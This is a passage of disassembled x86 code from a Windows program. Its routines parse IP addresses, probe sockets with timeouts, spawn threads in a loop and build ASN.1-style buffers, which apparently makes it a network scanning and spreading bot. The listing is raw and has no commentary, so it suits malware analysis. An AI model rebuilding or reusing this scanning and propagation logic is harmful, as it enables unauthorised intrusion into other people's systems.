push offset dword_4CB610 call sub_41BD70 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CB508, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CB7A0, eax jnz short loc_40BE2F lea eax, [ebp+arg_10] push eax push offset dword_4CB720 call sub_41BD70 add esp, 0Ch mov dword_4CB7A4, 1 jmp short loc_40BE49 ; --------------------------------------------------------------------------- loc_40BE2F: ; CODE XREF: sub_40BD7C+94j lea eax, [ebp+arg_90] push eax push offset dword_4CB720 call sub_41BD70 add esp, 0Ch mov dword_4CB7A4, ebx loc_40BE49: ; CODE XREF: sub_40BD7C+B1j push esi lea eax, [ebp+var_204] push dword_4CB71C push offset unk_42C208 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3AD add esp, 1Ch mov dword_4CB714, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB508 push offset byte_412155 push ebx push ebx call near ptr 26805C5h nop mov ecx, dword_4CB714 imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40BEB7 loc_40BEA5: ; CODE XREF: sub_40BD7C+139j cmp dword_4CB7A8, ebx jnz short loc_40BED2 push 32h nop call near ptr 268051Bh jmp short loc_40BEA5 ; --------------------------------------------------------------------------- loc_40BEB7: ; CODE XREF: sub_40BD7C+127j call near ptr 2680DCDh nop push eax lea eax, [ebp+var_204] push offset unk_431E60 push eax call sub_41C006 add esp, 0Ch loc_40BED2: ; CODE XREF: sub_40BD7C+12Fj lea eax, [ebp+var_204] push eax call sub_415CEE mov eax, dword_4C9040 mov esi, offset dword_4CB7B4 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CB9C4, eax mov dword_4CB9C0, ebx call near ptr 2670000h nop push 103h push edi push offset dword_4CB8B8 call sub_41BD70 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CB7B0, eax mov eax, [ebp+arg_138] pop edi mov dword_4CBA48, eax push 7Fh jnz short loc_40BF53 lea eax, [ebp+arg_10] push eax push offset dword_4CB9C8 call sub_41BD70 add esp, 0Ch mov dword_4CBA4C, 1 jmp short loc_40BF6D ; --------------------------------------------------------------------------- loc_40BF53: ; CODE XREF: sub_40BD7C+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CB9C8 call sub_41BD70 add esp, 0Ch mov dword_4CBA4C, ebx loc_40BF6D: ; CODE XREF: sub_40BD7C+1D5j push esi lea eax, [ebp+var_204] push dword_4CB9C4 push offset unk_431E2C push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3AD add esp, 1Ch mov dword_4CB9BC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB7B0 push offset word_40F37A push ebx push ebx call near ptr 26805C5h nop mov ecx, dword_4CB9BC imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40BFDB loc_40BFC9: ; CODE XREF: sub_40BD7C+25Dj cmp dword_4CBA50, ebx jnz short loc_40BFF6 push 32h call near ptr 268051Bh nop jmp short loc_40BFC9 ; --------------------------------------------------------------------------- loc_40BFDB: ; CODE XREF: sub_40BD7C+24Bj nop call near ptr 2680DCDh push eax lea eax, [ebp+var_204] push offset unk_431DF8 push eax call sub_41C006 add esp, 0Ch loc_40BFF6: ; CODE XREF: sub_40BD7C+253j lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C003: ; CODE XREF: sub_40BD7C+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43181C[ecx], ebx jz loc_40C12C push 7 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C126 mov eax, dword_4CC050 cmp [ebp+arg_90], bl mov dword_4CB474, eax mov eax, [ebp+arg_110] mov dword_4CB468, eax mov eax, [ebp+arg_138] mov dword_4CB470, ebx mov dword_4CB4F8, eax push 7Fh jnz short loc_40C077 lea eax, [ebp+arg_10] push eax push offset dword_4CB478 call sub_41BD70 add esp, 0Ch mov dword_4CB4FC, 1 jmp short loc_40C091 ; --------------------------------------------------------------------------- loc_40C077: ; CODE XREF: sub_40BD7C+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CB478 call sub_41BD70 add esp, 0Ch mov dword_4CB4FC, ebx loc_40C091: ; CODE XREF: sub_40BD7C+2F9j push dword_4CB474 lea eax, [ebp+var_204] push offset unk_431DC8 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3AD add esp, 18h mov dword_4CB46C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CB468 push offset dword_40F0D8 push ebx push ebx nop call near ptr 26805C5h mov ecx, dword_4CB46C imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C0FE loc_40C0EC: ; CODE XREF: sub_40BD7C+380j cmp dword_4CB500, ebx jnz short loc_40C119 push 32h call near ptr 268051Bh nop jmp short loc_40C0EC ; --------------------------------------------------------------------------- loc_40C0FE: ; CODE XREF: sub_40BD7C+36Ej nop call near ptr 2680DCDh push eax lea eax, [ebp+var_204] push offset unk_431D90 push eax call sub_41C006 add esp, 0Ch loc_40C119: ; CODE XREF: sub_40BD7C+376j lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C126: ; CODE XREF: sub_40BD7C+2A8j mov eax, [ebp+arg_130] loc_40C12C: ; CODE XREF: sub_40BD7C+298j shl eax, 6 cmp dword_431818[eax], ebx jz loc_40C24E push 3 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C24E mov esi, offset dword_4CBCE4 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41C5B0 pop ecx cmp eax, ebx pop ecx jz short loc_40C16D mov [eax], bl loc_40C16D: ; CODE XREF: sub_40BD7C+3EDj mov eax, dword_42907C mov dword_4CBDFC, ebx mov dword_4CBDE8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CBA5C call sub_41C006 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CBA58, eax mov ecx, [ebp+arg_138] push esi push dword_4CBDE8 mov dword_4CBDF4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CBDF8, ecx call sub_40A9FA pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C190 push eax call sub_41C006 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3AD add esp, 20h mov dword_4CBDF0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CBA58 push offset sub_40FAA3 push ebx push ebx nop call near ptr 26805C5h mov ecx, dword_4CBDF0 imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C226 loc_40C214: ; CODE XREF: sub_40BD7C+4A8j cmp dword_4CBE04, ebx jnz short loc_40C241 push 32h nop call near ptr 268051Bh jmp short loc_40C214 ; --------------------------------------------------------------------------- loc_40C226: ; CODE XREF: sub_40BD7C+496j call near ptr 2680DCDh nop push eax lea eax, [ebp+var_204] push offset unk_431D5C push eax call sub_41C006 add esp, 0Ch loc_40C241: ; CODE XREF: sub_40BD7C+49Ej lea eax, [ebp+var_204] push eax call sub_415CEE pop ecx loc_40C24E: ; CODE XREF: sub_40BD7C+14j ; sub_40BD7C+25j ... pop esi pop ebx leave retn sub_40BD7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C252 proc near ; CODE XREF: sub_40C3D3:loc_40C444p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4C9450h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CAB0 add esp, 0Ch push [ebp+arg_0] call dword_4C922C inc eax push eax mov [ebp+arg_0], eax call dword_4C9300 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CAB0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C29A proc near ; CODE XREF: sub_40C3D3+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B960 cmp eax, 0Fh pop ecx jbe short loc_40C2C2 xor eax, eax jmp short loc_40C333 ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_40C29A+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CA73 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C2EF call sub_41C062 mov [ebp+var_C], eax loc_40C2EF: ; CODE XREF: sub_40C29A+4Bj cmp [ebp+var_8], esi jnz short loc_40C2FC call sub_41C062 mov [ebp+var_8], eax loc_40C2FC: ; CODE XREF: sub_40C29A+58j cmp [ebp+var_4], esi jnz short loc_40C309 call sub_41C062 mov [ebp+var_4], eax loc_40C309: ; CODE XREF: sub_40C29A+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C315 call sub_41C062 loc_40C315: ; CODE XREF: sub_40C29A+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4C9450[ecx*8], eax loc_40C333: ; CODE XREF: sub_40C29A+26j pop esi leave retn sub_40C29A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C336 proc near ; CODE XREF: ___:0040BBADp ; sub_40C3D3+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4C9384 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C35F xor eax, eax jmp short loc_40C3CE ; --------------------------------------------------------------------------- loc_40C35F: ; CODE XREF: sub_40C336+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4C9304 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4C93A0 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4C92AC mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4C92EC push esi mov edi, eax call dword_4C939C xor eax, eax cmp edi, ebx setnle al loc_40C3CE: ; CODE XREF: sub_40C336+27j pop edi pop esi pop ebx leave retn sub_40C336 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3D3 proc near ; DATA XREF: sub_40C3D3+34Fo var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A0729h push eax call sub_41C058 mov ebx, esi pop ecx imul ebx, 234h loc_40C41A: ; CODE XREF: sub_40C3D3+200j mov eax, dword_43C244[ebx] cmp dword_4C9454[eax*8], 0 jz loc_40C5D8 cmp [ebp+var_10], 0 push eax jz short loc_40C444 lea eax, [ebp+var_150] push eax call sub_40C29A pop ecx jmp short loc_40C449 ; --------------------------------------------------------------------------- loc_40C444: ; CODE XREF: sub_40C3D3+60j call sub_40C252 loc_40C449: ; CODE XREF: sub_40C3D3+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43C244[ebx] push [ebp+var_3C] push edi call dword_4C9390 push eax lea eax, [ebp+var_28C] push offset unk_431EBC push eax call sub_41C006 lea eax, [ebp+var_28C] push eax lea eax, dword_43C040[ebx] push eax call sub_41C006 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C336 add esp, 2Ch cmp eax, 1 jnz loc_40C5C8 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C51D push offset dword_4CB450 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4C9390 push eax lea eax, [ebp+var_28C] push offset unk_431E94 push eax call sub_41C006 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C4FF cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C4F3 lea eax, [ebp+var_140] loc_40C4F3: ; CODE XREF: sub_40C3D3+118j push eax push [ebp+var_40] call sub_409862 add esp, 14h loc_40C4FF: ; CODE XREF: sub_40C3D3+FDj lea eax, [ebp+var_28C] push eax call sub_415CEE mov [esp+29Ch+var_29C], offset dword_4CB450 nop call near ptr 77F7E300h jmp loc_40C5C8 ; --------------------------------------------------------------------------- loc_40C51D: ; CODE XREF: sub_40C3D3+CDj push edi call dword_4C9390 push eax lea eax, [ebp+var_208] push eax call sub_41C006 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C006 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C561 lea eax, [ebp+var_140] loc_40C561: ; CODE XREF: sub_40C3D3+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41C006 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43180C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5C8: ; CODE XREF: sub_40C3D3+C3j ; sub_40C3D3+145j push 7D0h call near ptr 268051Bh nop jmp loc_40C41A ; --------------------------------------------------------------------------- loc_40C5D8: ; CODE XREF: sub_40C3D3+55j push esi call sub_40B6C9 pop ecx push 0 nop call near ptr 26F0000h loc_40C5E7: ; DATA XREF: sub_401AC7+1F1Ao ; sub_401AC7+5BC4o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4C9344 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4C9450[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD7C push 0Bh call sub_40B5F5 add esp, 150h cmp eax, ebx jnz short loc_40C6B5 mov esi, offset dword_4CB450 push esi call near ptr 26F0716h nop push 80000400h push esi nop call near ptr 26F05B2h test eax, eax jnz short loc_40C6B5 lea eax, [ebp+var_1CC] push offset unk_431FA0 push eax call sub_41C006 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C69F push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409862 add esp, 14h loc_40C69F: ; CODE XREF: sub_40C3D3+2ADj lea eax, [ebp+var_1CC] push eax call sub_415CEE pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6B5: ; CODE XREF: sub_40C3D3+277j ; sub_40C3D3+293j mov eax, [ebp+var_2C] mov esi, dword_427088 mov edi, ebx mov dword_4C9454[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C782 loc_40C6D3: ; CODE XREF: sub_40C3D3+3A9j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F6C push eax call sub_41C006 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3AD mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43C244[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3D3 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40C74D loc_40C742: ; CODE XREF: sub_40C3D3+378j cmp [ebp+var_4], ebx jnz short loc_40C774 push 1Eh call esi jmp short loc_40C742 ; --------------------------------------------------------------------------- loc_40C74D: ; CODE XREF: sub_40C3D3+36Dj call near ptr 2680DCDh nop push eax lea eax, [ebp+var_1CC] push offset unk_431F34 push eax call sub_41C006 lea eax, [ebp+var_1CC] push eax call sub_415CEE add esp, 10h loc_40C774: ; CODE XREF: sub_40C3D3+372j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6D3 loc_40C782: ; CODE XREF: sub_40C3D3+2FAj cmp [ebp+var_30], ebx jz loc_40C82C mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C797: ; CODE XREF: sub_40C3D3+464j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4C9450[eax*8] push eax call dword_4C9390 push eax lea eax, [ebp+var_1CC] push offset unk_431EF4 push eax call sub_41C006 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7E5 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409862 add esp, 14h loc_40C7E5: ; CODE XREF: sub_40C3D3+3F3j lea eax, [ebp+var_1CC] push eax call sub_415CEE mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4C9454[eax*8], ebx call esi push 0Bh call sub_40B5F5 cmp eax, 1 pop ecx jnz short loc_40C81C push offset dword_4CB450 call near ptr 26F0716h nop loc_40C81C: ; CODE XREF: sub_40C3D3+43Cj push [ebp+var_2C] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h loc_40C82C: ; CODE XREF: sub_40C3D3+3B2j ; sub_40C3D3+471j mov eax, [ebp+var_2C] cmp dword_4C9454[eax*8], 1 jnz loc_40C797 push 7D0h call esi jmp short loc_40C82C sub_40C3D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C846 proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4C9304 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4C9384 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C904 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4C92AC mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43C24C[ecx], esi jz short loc_40C904 push [ebp+var_38] push [ebp+var_28] call dword_4C9390 push eax mov edi, offset dword_4CBE14 push offset dword_431FD4 push edi call sub_41C006 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409862 push edi call sub_415CEE add esp, 28h loc_40C904: ; CODE XREF: sub_40C846+5Dj ; sub_40C846+7Ej push esi call dword_4C939C pop edi xor eax, eax pop esi leave retn 4 sub_40C846 endp ; --------------------------------------------------------------------------- byte_40C913 db 55h ; DATA XREF: sub_401AC7+5FA4o dd 0EC81EC8Bh, 134h, 85D8B53h, 2B6A5756h, 8D59F38Bh, 0FFFF4CBDh dd 8BA5F3FFh, 42708835h, 0A483C700h, 1000000h, 33000000h dd 0D075FFFFh, 0FFE075FFh, 4C939015h, 858D5000h, 0FFFFFECCh dd 431FFC68h, 0A7E85000h, 8D0000F6h, 0FFFECC85h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 43C04005h, 0F1E85000h dd 830000F3h, 458D1CC4h, 858D50F8h, 0FFFFFF4Ch, 46685057h dd 570040C8h, 2AE89057h, 3B02273Ch, 0FC4589C7h, 7D390B74h dd 6A0675F4h, 0EBD6FF32h, 0FC75FFF5h, 364AE890h, 0B3FF0225h dd 8Ch, 0A8BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0DDE85008h dd 83000100h, 75FF0CC4h, 2C15FF08h, 40004C92h, 8458950h dd 930015FFh, 4589004Ch, 8458D08h, 8D50046Ah, 0E850E045h dd 100B4h, 0E90CC483h, 0FFFFFF3Dh dword_40CA04 dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401AC7+5CCAo dd 0FF50BD8Dh, 0A5F3FFFFh, 7088358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E475FFD4h, 939015FFh, 8D50004Ch, 0FFFED085h dd 205068FFh, 0E8500043h, 0F5B6h, 0FED0858Dh, 0FF68FFFFh dd 50000001h, 69E0458Bh, 234C0h, 0C0400500h, 0E8500043h dd 0F300h, 8D1CC483h, 8D50FC45h, 0FFFF5085h, 685057FFh dd 40C846h, 0E8905757h, 2273B39h, 4589C73Bh, 390B7408h dd 675F87Dh, 0D6FF326Ah, 75FFF5EBh, 59E89008h, 0FF022535h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0D4458BD6h, 74D8453Bh dd 0D445FF08h, 0FFFF6DE9h, 0E475FFFFh, 939015FFh, 8D50004Ch dd 0FFFED085h, 202468FFh, 0E8500043h, 0F526h, 0D0858D57h dd 0FFFFFFFEh, 8D50EC75h, 0FFFF5485h, 0B5FF50FFh, 0FFFFFF50h dd 0FFCD65E8h, 0E075FFFFh, 0FFEBC4E8h, 24C483FFh, 5E5FC033h dd 4C2C95Bh db 0 ; =============== S U B R O U T I N E ======================================= sub_40CB11 proc near ; CODE XREF: sub_40CD85+Ep ; sub_40CD85+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB11 endp ; =============== S U B R O U T I N E ======================================= sub_40CB1B proc near ; CODE XREF: sub_40CD85+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BC9B mov edi, eax pop ecx test edi, edi jz short loc_40CB4D push ebx push 0 push edi call sub_41BD10 push ebx push [esp+1Ch+arg_0] push edi call sub_41CAB0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB4D: ; CODE XREF: sub_40CB1B+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB55 proc near ; CODE XREF: sub_40CC4F+18p ; sub_40CCC9+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BC9B mov esi, eax pop ecx test esi, esi jz short loc_40CBA1 push edi push 0 push esi call sub_41BD10 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CAB0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CAB0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBA1: ; CODE XREF: sub_40CB55+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB55 endp ; =============== S U B R O U T I N E ======================================= sub_40CBAA proc near ; CODE XREF: sub_40CC4F+5Ep ; sub_40CC4F+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBBA push eax call sub_41BA31 pop ecx loc_40CBBA: ; CODE XREF: sub_40CBAA+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBAA endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC4F+20p ; sub_40CD2A+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CBF0 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BC9B mov edi, eax pop ecx test edi, edi jnz short loc_40CBF4 loc_40CBF0: ; CODE XREF: sub_40CBC3+Dj xor al, al jmp short loc_40CC4B ; --------------------------------------------------------------------------- loc_40CBF4: ; CODE XREF: sub_40CBC3+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BD10 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC19 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC33 ; --------------------------------------------------------------------------- loc_40CC19: ; CODE XREF: sub_40CBC3+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC33: ; CODE XREF: sub_40CBC3+54j push eax call sub_41CAB0 add esp, 0Ch push dword ptr [esi] call sub_41BA31 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC4B: ; CODE XREF: sub_40CBC3+2Fj pop edi pop esi pop ebx retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC4F proc near ; CODE XREF: sub_40CD85+89p ; sub_40CD85+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4C91BC call sub_40CB55 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+var_4] inc eax push eax call sub_41BC9B mov edi, eax pop ecx test edi, edi jnz short loc_40CC89 xor al, al jmp short loc_40CCC5 ; --------------------------------------------------------------------------- loc_40CC89: ; CODE XREF: sub_40CC4F+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BD10 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CAB0 add esp, 18h mov ecx, esi call sub_40CBAA mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBAA mov al, 1 loc_40CCC5: ; CODE XREF: sub_40CC4F+38j pop edi pop esi leave retn sub_40CC4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCC9 proc near ; CODE XREF: sub_40CCFD+14p ; sub_40CD1A+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB55 mov ecx, esi call sub_40CBAA mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCC9 endp ; =============== S U B R O U T I N E ======================================= sub_40CCFD proc near ; CODE XREF: sub_40CD85+F0p ; sub_40CD85+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B960 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCC9 pop esi retn 4 sub_40CCFD endp ; =============== S U B R O U T I N E ======================================= sub_40CD1A proc near ; CODE XREF: sub_40CD66+Bp ; sub_40CD85+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCC9 retn 8 sub_40CD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD2A proc near ; CODE XREF: sub_40CD66+16p 